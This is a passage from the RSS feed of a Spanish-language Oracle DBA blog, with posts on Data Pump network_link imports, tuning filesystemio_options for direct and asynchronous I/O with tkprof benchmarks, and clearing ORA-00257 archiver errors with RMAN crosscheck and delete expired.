&lt;li&gt;Creación del usuario receptor de los datos, esto es posible porque hemos empleado un usuario privilegiado, &lt;i&gt;system&lt;/i&gt; en este caso, de otra forma el usuario debe existir previamente.&lt;/li&gt;
&lt;li&gt;Transferir los datos desde una base de datos remota sin necesidad de generar un archivo dump como paso intermedio, gracias a la inclusión del parámetro &lt;b&gt;&lt;i&gt;network_link&lt;/i&gt;&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;div&gt;Puedes encontrar información adicional en el Note &lt;b&gt;351598.1&lt;/b&gt; &lt;i&gt;Export/Import DataPump: The Minimum Requirements to Use Export DataPump and Import DataPump (System Privileges)&lt;/i&gt; y en la &lt;a href="http://download.oracle.com/docs/cd/B19306_01/server.102/b14215/dp_import.htm#i1007380"&gt;documentación oficial&lt;/a&gt;.&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-2874404875600389085?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/FGMnC_Gajxk" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-01-04T17:15:29.583-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.e-dba.biz/2008/11/datapumpimpdpimportnodump.html</feedburner:origLink></item><item><title>¿Cómo acelerar el acceso a los file systems?</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/KI5T7yyV5D8/filesystemiooptions-asynch-directio.html</link><category>Tuning</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Mon, 10 Nov 2008 15:20:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-5267894520377523394</guid><description>&lt;div&gt;Estas usando file systems para tu base de datos y todo opera en aparente normalidad, pero ¿sabías que por defecto Oracle no aprovecha todas las mejoras que los file systems modernos tienen implementados? Pues esa es la cruda realidad, si te interesa saber cómo puedes sacarle el jugo al I/O de tus discos con solo cambiar un parámetro, entonces debemos empezar por algo de teoría no Oracle.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;br /&gt;
&lt;span style="color: RGB(23,54,93); font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;File Buffer Cache&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Un archivo no es más que una colección de bits almacenados en un medio persistente. Cuando un proceso requiere acceder a los datos de un archivo, el sistema operativo los lleva a la memoria principal, donde el proceso puede hacer uso del mismo, modificarlo, y luego solicitar que sea nuevamente guardado en disco. Pero teniendo en mente que los discos son mucho más lentos que la memoria principal, los sistemas operativos hacen normalmente uso de un buffer en memoria, llamado &lt;b&gt;&lt;i&gt;file buffer cache&lt;/i&gt;&lt;/b&gt;. Como resultado, el sistema operativo primero intenta obtener los datos del &lt;i&gt;buffer cache&lt;/i&gt;, si no la encuentra allí la lee de disco y la coloca en el &lt;i&gt;buffer cache&lt;/i&gt;. De forma similar, las escrituras también pasan por el &lt;i&gt;buffer cache&lt;/i&gt; de forma que las futuras lecturas puedan ser satisfechas sin necesidad de acceder a los discos.&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: RGB(23,54,93); font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Direct I/O&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Hasta acá el uso del &lt;i&gt;file buffer cache&lt;/i&gt; parecería beneficioso, pero no olvidemos que Oracle ya tiene su propia implementación: el &lt;b&gt;&lt;i&gt;database buffer cache&lt;/i&gt;&lt;/b&gt;. Al ser el propio Oracle quien controla qué bloques requieren de permanecer o no en el cache, bajo un algoritmo LRU con el que no cuenta el sistema operativo, la existencia del &lt;i&gt;file buffer cache&lt;/i&gt; puede resultar indeseable e innecesario al tener que viajar los datos primero al &lt;i&gt;file buffer cache&lt;/i&gt; y luego al &lt;i&gt;database buffer cache&lt;/i&gt;, conllevando a un consumo adicional de CPU y  también de memoria principal, la cual ya no está disponible para Oracle. Tomando esto en cuenta, hace su aparición el &lt;b&gt;&lt;i&gt;Direct I/O&lt;/i&gt;&lt;/b&gt;, como una forma de evitar el uso del &lt;i&gt;file buffer cache&lt;/i&gt;, de hecho es la forma con que se interactúa con los &lt;i&gt;raw devices&lt;/i&gt; (porciones de disco no formateados); en la actualidad prácticamente todos los sistemas operativos soportan &lt;i&gt;direct I/O&lt;/i&gt; y en algunos casos incluso versiones más sofisticadas como &lt;i&gt;concurrent i/o&lt;/i&gt; provisto por IBM con &lt;i&gt;JFS2&lt;/i&gt;.&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;&lt;span style="color: RGB(23,54,93);"&gt;Habilitando Direct I/O&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;En Oracle existe una forma de controlar la forma en que se interactúa con los file systems, se trata de &lt;b&gt;&lt;i&gt;filesystemio_options&lt;/i&gt;&lt;/b&gt;, que acepta como valores:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;none&lt;/i&gt;. La grabación será síncrona con bloqueo, es decir la aplicación espera a que la llamada al sistema se complete antes de poder hacer una nueva llamada. Es universalmente soportada pero es la más forma más lenta.&lt;/li&gt;
&lt;li&gt;&lt;i&gt;asynch&lt;/i&gt;. La aplicación no espera a que la llamada al sistema se complete, puede realizar otras tareas mientras espera la confirmación de la llamada previa.&lt;/li&gt;
&lt;li&gt;&lt;i&gt;directio&lt;/i&gt;. La grabación es síncrona sin pasar por el file buffer cache (las dos modalidades previas hacen uso del &lt;i&gt;file buffer cache&lt;/i&gt;).&lt;/li&gt;
&lt;li&gt;&lt;i&gt;setall&lt;/i&gt;. La grabación es asíncrona y sin pasar por el &lt;i&gt;file buffer cache&lt;/i&gt;. Presenta la posibilidad de máximo desempeño.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;div&gt;Dependiendo de la plataforma Oracle le asigna a éste parámetro el valor por defecto &lt;i&gt;none&lt;/i&gt; (ejm. Linux) o &lt;i&gt;asynch&lt;/i&gt; (ejm. Solaris), para habilitar &lt;i&gt;direct I/O&lt;/i&gt; los valores a escoger han de ser &lt;i&gt;directio&lt;/i&gt; o mejor aún &lt;i&gt;setall&lt;/i&gt; (&lt;i&gt;asynch&lt;/i&gt; + &lt;i&gt;directio&lt;/i&gt;). Este parámetro no se puede cambiar online por lo que luego de aplicar el cambio en el &lt;i&gt;spfile.ora&lt;/i&gt; debes reiniciar la base de datos para que entre en efecto.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; show parameter filesystemio_options

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
filesystemio_options                 string      none

SYS@orcl &amp;gt; alter system set filesystemio_options=setall scope=spfile;

System altered.

SYS@orcl &amp;gt; shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.

SYS@orcl &amp;gt; startup
ORACLE instance started.

Total System Global Area  209715200 bytes
Fixed Size                  1279360 bytes
Variable Size             109054592 bytes
Database Buffers           96468992 bytes
Redo Buffers                2912256 bytes
Database mounted.
Database opened.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Estamos probando con Linux, de allí el valor &lt;i&gt;none&lt;/i&gt;, ahora para verificar que estamos trabajando con &lt;i&gt;asynch&lt;/i&gt; y &lt;i&gt;directio&lt;/i&gt; en simultáneo, podemos valernos de algunos utilitarios propios de Linux, pero que tienen sus similares en otros sistemas operativos. Primero veamos la situación original, es decir cuando &lt;i&gt;filesystemio_options=none&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
SYS@orcl&amp;gt; startup mount;
ORACLE instance started.

Total System Global Area  205520896 bytes
Fixed Size                  1266608 bytes
Variable Size             142609488 bytes
Database Buffers           58720256 bytes
Redo Buffers                2924544 bytes
Database mounted.

$ ps -ef | grep dbw
oracle   28532     1  0 16:56 ?        00:00:00 ora_dbw0_orcl
SYS@orcl&amp;gt; alter database open;

Database altered.
$ more /tmp/trace_dbwr.out
. . .
open("/u02/oradata/ORCL/datafile/o1_mf_system_3wqn5ypm_.dbf", O_RDWR|O_SYNC|O_LARGEFILE) = 17
. . .

$ cat /proc/slabinfo | grep kio
kioctx   18  30  256  15  1 : tunables  120  60  0 : slabdata  2  2  0
kiocb  &lt;span style="color: red;"&gt;   0   0&lt;/span&gt;  128  31  1 : tunables  120  60  0 : slabdata  0  0  0&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora con &lt;i&gt;filesystemio_options=setall&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;$ more /tmp/trace_dbwr.out
. . .
open("/u02/oradata/ORCL/datafile/o1_mf_system_3wqn5ypm_.dbf", O_RDONLY|&lt;span style="color: red;"&gt;O_DIRECT&lt;/span&gt;|O_LARGEFILE) = 17
. . .
$ cat /proc/slabinfo | grep kio
kioctx   17  30  256  15  1 : tunables  120  60  0 : slabdata  2  2 0
kiocb  &lt;span style="color: red;"&gt;   7  31 &lt;/span&gt; 128  31  1 : tunables  120  60  0 : slabdata  1  1 0&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Que &lt;i&gt;DBWR&lt;/i&gt; abra los datafiles con &lt;b&gt;&lt;i&gt;O_DIRECT&lt;/i&gt;&lt;/b&gt; es señal del uso de &lt;i&gt;Direct I/O&lt;/i&gt;, mientras que la presencia de valores distintos de cero para &lt;b&gt;&lt;i&gt;kiocb&lt;/i&gt;&lt;/b&gt; lo es del uso de &lt;i&gt;Asynch I/O&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: RGB(23,54,93); font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;¿File buffer cache o &lt;i&gt;Direct I/O&lt;/i&gt;?&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;La decisión no es simple, antes de optar por uno u otro debemos tener en cuenta cómo puede afectar a nuestras aplicaciones,  para empezar vemos el caso de una aplicación simulada que es intensiva en lecturas aleatorias, lo cual es típico de las aplicaciones OLTP.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;Random.sh
sqlplus / as sysdba &amp;lt;&amp;lt; EOF
alter system flush buffer_cache;
exit;
EOF
sqlplus /nolog @Random.sql &amp;amp;
sqlplus /nolog @Random.sql &amp;amp;
sqlplus /nolog @Random.sql &amp;amp;
sqlplus /nolog @Random.sql &amp;amp;

Random.sql
connect test/test
set timing on
alter session set events '10046 trace name context forever, level 8';
begin
&amp;nbsp; for i in 1..200000 loop
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; execute immediate
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'select data from testio where id = :id'
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; using ROUND(dbms_random.value(1,200000));
&amp;nbsp; end loop;
end;
/
exit&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Analizando los tiempos con tkprof: &lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;&lt;b&gt;filesystemio_options=none&lt;/b&gt;

select data
from
 testio where id = :id

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        4      0.00       1.38          0          0          0           0
Execute 800000     51.29     172.13          1          1          0           0
Fetch        0      0.00       0.00          0          0          0           0
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total   800004     51.30   &lt;span style="color: red;"&gt;  173.51 &lt;/span&gt;         1          1          0           0

===
&lt;b&gt;filesystemio_options=setall&lt;/b&gt;

select data
from
 testio where id = :id

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        4      0.00       0.00          0          0          0           0
Execute 800000     38.84     128.18          0          0          0           0
Fetch        0      0.00       0.00          0          0          0           0
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total   800004     38.85  &lt;span style="color: red;"&gt;   128.18 &lt;/span&gt;         0          0          0           
0&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora con una aplicación intensiva en &lt;i&gt;Full Table Scans&lt;/i&gt;, típico de las aplicaciones DSS.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;Full.sh
sqlplus / as sysdba &amp;lt;&amp;lt; EOF
alter system flush buffer_cache;
exit;
EOF
sqlplus /nolog @Full.sql &amp;amp;
sqlplus /nolog @Full.sql &amp;amp;
sqlplus /nolog @Full.sql &amp;amp;
sqlplus /nolog @Full.sql &amp;amp;

Full.sql
connect test/test
set timing on
alter session set events '10046 trace name context forever, level 8';
declare v_data testio.data%type;
begin
for i in 1..25 loop
select max(data) into v_data from testio;
end loop;
end;
/
exit&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Resumen de traces analizados con tkprof.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;&lt;b&gt;filesystemio_options=none&lt;/b&gt;

SELECT MAX(DATA)
FROM
 TESTIO

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        4      0.00       0.00          0          0          0           0
Execute    100      0.01       0.01          0          0          0           0
Fetch      100     61.89     232.97     503813    1446600          0         100
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total      204     61.91   &lt;span style="color: red;"&gt;  232.99 &lt;/span&gt;    503813    1446600          0         100

Elapsed times include waiting on following events:
  Event waited on                             Times   Max. Wait  Total Waited
  ----------------------------------------   Waited  ----------  ------------
  db file sequential read                       146        0.00          0.00
&lt;span style="color: red;"&gt;  db file scattered read &lt;/span&gt;                     13771        0.67      &lt;span style="color: red;"&gt;   19.53 &lt;/span&gt;

====
&lt;b&gt;filesystemio_options=setall&lt;/b&gt;

SELECT MAX(DATA)
FROM
 TESTIO

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        4      0.01       1.22          1          1          0           0
Execute    100      0.02       0.06          0          0          0           0
Fetch      100     70.63     366.62     259438    1446600          0         100
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total      204     70.66   &lt;span style="color: red;"&gt;  367.91 &lt;/span&gt;    259439    1446601          0         100

Elapsed times include waiting on following events:
  Event waited on                             Times   Max. Wait  Total Waited
  ----------------------------------------   Waited  ----------  ------------
  read by other session                       20820        0.24        133.64
&lt;span style="color: red;"&gt;  db file scattered read &lt;/span&gt;                      8942        0.99   &lt;span style="color: red;"&gt;     100.00 &lt;/span&gt;
  latch: cache buffers chains                   193        0.02          0.73
  db file sequential read                       302        0.07          1.39&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Con &lt;i&gt;filesystemio_options=setall&lt;/i&gt; las lecturas aleatorias mejoraron en 26%, mientras que los &lt;i&gt;Full Table Scans&lt;/i&gt; empeoraron en casi 58%!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: RGB(23,54,93); font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Conclusiones&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Revisando los resultados de los escenarios simulados, podemos concluir que, ante la activación de &lt;i&gt;direct I/O&lt;/i&gt;, las aplicaciones intensivas en acceso aleatorio a los discos se ven beneficiadas mientras que las intensivas en &lt;i&gt;Full Table Scans&lt;/i&gt; se ven perjudicadas, de allí que no debemos saltar a la conclusión de que con solo habilitar el &lt;i&gt;direct I/O&lt;/i&gt; nuestra base de datos será mágicamente más rápida, es posible que así sea, como también es posible que el impacto sea nulo e incluso adverso, primero hagan las pruebas del caso durante un periodo de carga típica antes de decidir dejarlo permanentemente. Lo que sí es seguro que mejorará el desempeño es el uso de &lt;i&gt;filesystemio_options=asynch&lt;/i&gt;, por lo que es lo mínimo con lo que deberías configurar tu base de datos.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Cada plataforma tiene sus particularidades en cuanto a la aplicabilidad de los diversos valores para &lt;i&gt;filesystemio_options&lt;/i&gt; e incluso hay algunos &lt;i&gt;bugs&lt;/i&gt; específicos para ciertas combinaciones de versión de Oracle + versión de Sistema Operativo, por ello es conveniente que te informes más del tema. Te recomiendo la lectura de los Notes &lt;b&gt;462072.1&lt;/b&gt; &lt;i&gt;File System's Buffer Cache versus Direct I/O&lt;/i&gt;, &lt;b&gt;555601.1&lt;/b&gt; &lt;i&gt;How To Verify Whether DIRECTIO is Being Used&lt;/i&gt;, &lt;b&gt;237299.1&lt;/b&gt; &lt;i&gt;How To Check if Asynchronous I/O is Working On Linux&lt;/i&gt; y &lt;b&gt;432854.1&lt;/b&gt; &lt;i&gt;Asynchronous I/O Support on OCFS/OCFS2 and Related Settings: filesystemio_options, disk_asynch_io&lt;/i&gt;, finalmente &lt;i&gt;&lt;a href="http://www.ibm.com/developerworks/linux/library/l-async/index.html"&gt;Boost application performance using asynchronous I/O&lt;/a&gt;&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html"&gt;Bye bye raw device, bienvenido ASM&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-5267894520377523394?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/KI5T7yyV5D8" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:26:05.530-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://blog.e-dba.biz/2008/11/filesystemiooptions-asynch-directio.html</feedburner:origLink></item><item><title>ORA-00257 archiver error, ¿aún cuando ya hice espacio?</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/c1llaFrvD14/ora-00257-archiver-error-ya-hay-espacio.html</link><category>rman</category><category>archiver</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Sat, 08 Nov 2008 21:08:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-3014992519452034917</guid><description>&lt;div&gt;Conscientes de que Oracle9i está de salida, la empresa &lt;i&gt;Acme&lt;/i&gt; finalmente hizo la actualización a la versión 10gR2; las cosas no podían ir mejor hasta que algunos usuarios empiezan a reportar que sus sesiones están suspendidas y otros que no pueden conectarse, obteniendo el error &lt;b&gt;&lt;i&gt;ORA-00257: archiver error. Connect internal only, until freed&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;El problema resulta evidente, ya antes había pasado, se toma la rápida decisión de mover algunos archivelogs antiguos a otro directorio; ahora hay espacio pero el problema parece no resolverse, ¿qué puede estar pasando? Pues que ahora están usando &lt;i&gt;Flash Recovery Area&lt;/i&gt; (FRA) y eso cambia las cosas.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;Con Oracle 10g aparece &lt;i&gt;Flash Recovery Area&lt;/i&gt; como un espacio en el cual se depositan por defecto los archivelogs y backups, Oracle se encarga de gestionarlo y exige que su mantenimiento se haga sin recurrir a comandos del Sistema Operativo.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Para este caso en particular, como la liberación de espacio se ha hecho mediante el traslado de archivelogs a otro directorio usando el Sistema Operativo, Oracle permanece sin ser notificado de tal cambio y por tanto asume que el problema de falta de espacio persiste, y así nos lo hace saber mediante mensajes en el &lt;i&gt;alert.ora&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;Sat Nov  8 13:58:46 2008
Thread 1 advanced to log sequence 26
Current log# 2 seq# 18 mem# 0: /u01/oradata/orcl/redo02.log
Sat Nov  8 13:58:46 2008
Errors in file /opt/oracle/admin/orcl/bdump/orcl_arc0_21093.trc:
&lt;b&gt;ORA-19815: WARNING: db_recovery_file_dest_size of 209715200 bytes is 100.00% used, and has 0 remaining bytes available.&lt;/b&gt;
Sat Nov  8 13:58:46 2008
************************************************************************
You have following choices to free up space from flash recovery area:
1. Consider changing RMAN RETENTION POLICY. If you are using Data Guard,
then consider changing RMAN ARCHIVELOG DELETION POLICY.
2. Back up files to tertiary device such as tape using RMAN
BACKUP RECOVERY AREA command.
3. Add disk space and increase db_recovery_file_dest_size parameter to
reflect the new space.
4. Delete unnecessary files using RMAN DELETE command. If an operating
system command was used to delete files, then use RMAN CROSSCHECK and
DELETE EXPIRED commands.
************************************************************************
Sat Nov  8 13:58:46 2008
Errors in file /opt/oracle/admin/orcl/bdump/orcl_arc0_21093.trc:
ORA-19809: limit exceeded for recovery files
ORA-19804: cannot reclaim 51228672 bytes disk space from 209715200 limit
ARC0: Error 19809 Creating archive log file to '/fra/ORCL/archivelog/2008_11_08/o1_mf_1_25_0_.arc'
ARC0: Failed to archive thread 1 sequence 25 (19809)
ARCH: Archival stopped, error occurred. Will continue retrying
Sat Nov  8 13:58:46 2008
ORACLE Instance orcl - Archival Error
Sat Nov  8 13:58:46 2008
ORA-16038: log 1 sequence# 25 cannot be archived
ORA-19809: limit exceeded for recovery files
ORA-00312: online log 1 thread 1: '/u01/oradata/orcl/redo01.log'&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Como podemos observar, Oracle encuentra el problema y no solo lo reporta sino que también nos da un resumen de las acciones que podemos tomar para superar el problema. La alternativa &lt;b&gt;(4)&lt;/b&gt; es reveladora, si queremos hacer espacio eliminando archivos debemos usar el comando &lt;i&gt;delete&lt;/i&gt; de RMAN para lograrlo.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&gt; list archivelog all;


List of Archived Log Copies
Key     Thrd Seq     S Low Time            Name
------- ---- ------- - ------------------- ----
18      1    23      A 08/11/2008 13:20:58 /fra/ORCL/archivelog/2008_11_08/o1_mf_1_23_4kdsx5y2_.arc
19      1    24      A 08/11/2008 13:31:33 /fra/ORCL/archivelog/2008_11_08/o1_mf_1_24_4kdsx6th_.arc
20      1    25      A 08/11/2008 13:45:11 /fra/ORCL/archivelog/2008_11_08/o1_mf_1_25_4kdc7vrd_.arc

RMAN&gt; delete noprompt archivelog until sequence 24;

released channel: ORA_DISK_1
allocated channel: ORA_DISK_1
channel ORA_DISK_1: sid=142 devtype=DISK

List of Archived Log Copies
Key     Thrd Seq     S Low Time            Name
------- ---- ------- - ------------------- ----
18      1    23      A 08/11/2008 13:20:58 /fra/ORCL/archivelog/2008_11_08/o1_mf_1_23_4kdsx5y2_.arc
19      1    24      A 08/11/2008 13:31:33 /fra/ORCL/archivelog/2008_11_08/o1_mf_1_24_4kdsx6th_.arc
deleted archive log
archive log filename=/fra/ORCL/archivelog/2008_11_08/o1_mf_1_23_4kdsx5y2_.arc recid=18 stamp=670289494
deleted archive log
archive log filename=/fra/ORCL/archivelog/2008_11_08/o1_mf_1_24_4kdsx6th_.arc recid=19 stamp=670289494
Deleted 2 objects&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Volviendo a nuestro escenario, intentamos eliminar los archivelogs pero el esfuerzo es en vano.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&gt; delete noprompt archivelog until sequence 24;

released channel: ORA_DISK_1
allocated channel: ORA_DISK_1
channel ORA_DISK_1: sid=142 devtype=DISK

List of Archived Log Copies
Key     Thrd Seq     S Low Time            Name
------- ---- ------- - ------------------- ----
18      1    23      A 08/11/2008 13:20:58 /fra/ORCL/archivelog/2008_11_08/o1_mf_1_23_4kdsx5y2_.arc
19      1    24      A 08/11/2008 13:31:33 /fra/ORCL/archivelog/2008_11_08/o1_mf_1_24_4kdsx6th_.arc

RMAN-06207: WARNING: 2 objects could not be deleted for DISK channel(s) due
RMAN-06208:          to mismatched status.  Use CROSSCHECK command to fix status
RMAN-06210: List of Mismatched objects
RMAN-06211: ==========================
RMAN-06212:   Object Type   Filename/Handle
RMAN-06213: --------------- ---------------------------------------------------
RMAN-06214: Archivelog      /fra/ORCL/archivelog/2008_11_08/o1_mf_1_23_4kdsx5y2_.arc
RMAN-06214: Archivelog      /fra/ORCL/archivelog/2008_11_08/o1_mf_1_24_4kdsx6th_.arc&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Nuevamente junto con el mensaje se nos proporciona la solución: hacer un &lt;i&gt;crosscheck&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&gt; crosscheck archivelog all;

released channel: ORA_DISK_1
allocated channel: ORA_DISK_1
channel ORA_DISK_1: sid=142 devtype=DISK
validation failed for archived log
archive log filename=/fra/ORCL/archivelog/2008_11_08/o1_mf_1_23_4kdsx5y2_.arc recid=18 stamp=670288851
validation failed for archived log
archive log filename=/fra/ORCL/archivelog/2008_11_08/o1_mf_1_24_4kdsx6th_.arc recid=19 stamp=670288858
Crosschecked 2 objects&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Finalmente removemos del catálogo de RMAN los archivelogs reportados como no encontrados en el paso anterior.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&gt; delete noprompt expired archivelog all;

released channel: ORA_DISK_1
allocated channel: ORA_DISK_1
channel ORA_DISK_1: sid=142 devtype=DISK

List of Archived Log Copies
Key     Thrd Seq     S Low Time            Name
------- ---- ------- - ------------------- ----
18      1    23      X 08/11/2008 13:20:58 /fra/ORCL/archivelog/2008_11_08/o1_mf_1_23_4kdsx5y2_.arc
19      1    24      X 08/11/2008 13:31:33 /fra/ORCL/archivelog/2008_11_08/o1_mf_1_24_4kdsx6th_.arc
deleted archive log
archive log filename=/fra/ORCL/archivelog/2008_11_08/o1_mf_1_23_4kdsx5y2_.arc recid=18 stamp=670288851
deleted archive log
archive log filename=/fra/ORCL/archivelog/2008_11_08/o1_mf_1_24_4kdsx6th_.arc recid=19 stamp=670288858
Deleted 2 EXPIRED objects&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Revisamos el alert.log y el problema aparece como resuelto.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;Sat Nov  8 14:21:03 2008
ARC1: Archiving not possible: No primary destinations
ARC1: Failed to archive thread 1 sequence 26 (4)
Sat Nov  8 14:21:04 2008
db_recovery_file_dest_size of 200 MB is 27.83% used. This is a
user-specified limit on the amount of space that will be used by this
database for recovery-related files, and does not reflect the amount of
space available in the underlying filesystem or ASM diskgroup.
Sat Nov  8 14:21:15 2008
&lt;b&gt;Archiver process freed from errors. No longer stopped&lt;/b&gt;
Sat Nov  8 14:21:15 2008
Thread 1 advanced to log sequence 27
  Current log# 1 seq# 20 mem# 0: /u01/oradata/orcl/redo03.log&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Las sesiones vuelven a la vida y los usuarios pueden iniciar nuevas conexiones, todo ha regresado a la normalidad; podemos finalmente respirar con alivio y nos queda la enseñanza de que si bien usar Flash Recovery Area es altamente recomendado, debemos tener presente &lt;b&gt;no&lt;/b&gt; manipular sus contenidos por medios ajenos a los proporcionados por Oracle.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Si deseas profundizar en el tema, te recomiendo leer el Note &lt;b&gt;278308.1&lt;/b&gt; &lt;i&gt;How to Resolve ORA-00257: Archiver is Stuck Error in 10g?&lt;/i&gt; y el Note &lt;b&gt;315098.1&lt;/b&gt; &lt;i&gt;How is the space pressure managed in the Flash Recovery Area - An Example&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/10/archive-log-perdido-no-reconstruya-su.html"&gt;¿Archive log perdido? No reconstruya su Standby&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/10/sincronizacin-detenida-ora-01274.html"&gt;Sincronización detenida: ORA-01274&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
